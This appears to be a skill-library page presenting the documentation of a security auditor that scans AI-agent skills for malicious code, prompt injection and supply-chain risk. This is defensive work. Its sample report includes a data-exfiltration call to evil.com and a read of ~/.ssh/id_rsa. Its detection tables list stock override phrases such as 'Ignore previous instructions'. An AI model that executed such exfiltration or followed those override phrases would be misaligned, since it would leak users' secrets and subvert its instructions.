Skill security auditor
Skill OpenSIN-AI/OpenSIN-Skills/engineering/skill-security-auditor
The world's largest open-source AI agent skill library β 280+ skills across 9 knowledge domains + 46 operational actions. Built on alirezarezvani/claude-skills + OpenSIN-AI.
npx -y skills add OpenSIN-AI/OpenSIN-Skills --skill skill-security-auditorAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
2 things to look at
- no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
- 2 stars2 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".
SKILL.md
7.7 KB, ~1.8k tokens by cl100k_base, as published. Nobody here has run it
Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | π΄ CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | π΄ CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | π΄ CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | π΄ CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | π΄ CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | π‘ HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | π΄ CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | π‘ HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | βͺ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | π΄ CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | π΄ CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | π΄ CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | π‘ HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | π‘ HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | π΄ CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | π΄ CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | π‘ HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | βͺ INFO |
| Install commands in code | pip install or npm install inside scripts | π‘ HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | βͺ INFO |
4. File System & Structure
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | π‘ HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | π‘ HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | π΄ CRITICAL |
| Large files | Files >1MB that could hide payloads | βͺ INFO |
| Symlinks | Symbolic links pointing outside skill directory | π΄ CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report β findings grouped by severity
- Verdict interpretation:
- β PASS β No critical or high findings. Safe to install.
- β οΈ WARN β High/medium findings detected. Review manually before installing.
- β FAIL β Critical findings. Do NOT install without remediation.
- Remediation β each finding includes specific fix guidance
Reading the Report
ββββββββββββββββββββββββββββββββββββββββββββββββ
β SKILL SECURITY AUDIT REPORT β
β Skill: example-skill β
β Verdict: β FAIL β
β βββββββββββββββββββββββββββββββββββββββββββββββ£
β π΄ CRITICAL: 2 π‘ HIGH: 1 βͺ INFO: 3 β
ββββββββββββββββββββββββββββββββββββββββββββββββ
π΄ CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
π΄ CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
π‘ HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
βͺ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based β a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code β static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
What ships with it: 2 files
47.6 KB alongside SKILL.md, 1 of them executable
references/
- threat-model.md9.9 KB
scripts/
- skill_security_auditor.pyruns37.7 KB
Gives 0 of the 12 instructions most context ai engineering skills give in ~1.8k tokens
Counted across 1,193 of the 1,976 authors here whose files we hold, read 2026-08-07
- Dispatch a fresh implementer subagent per taskin 48 of 1193, across 19 files
- Dispatch a final code reviewer after all tasksin 33 of 1193, across 8 files
- Provide full task text to the subagentin 30 of 1193, across 9 files
- Review spec compliance before code qualityin 27 of 1193, across 10 files
- Make the hook script executablein 26 of 1193, across 8 files
- Re-snapshot after navigation or DOM changesin 25 of 1193, across 19 files
- Read files before editing themin 22 of 1193, across 11 files
- Answer subagent questions before proceedingin 22 of 1193, across 7 files
- Mark task complete in TodoWrite after approvalin 22 of 1193, across 6 files
- Merge hook into existing settingsin 21 of 1193, across 3 files
- Ask if installation is global or projectin 20 of 1193, across 2 files
- Copy the hook script to target locationin 20 of 1193, across 2 files
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.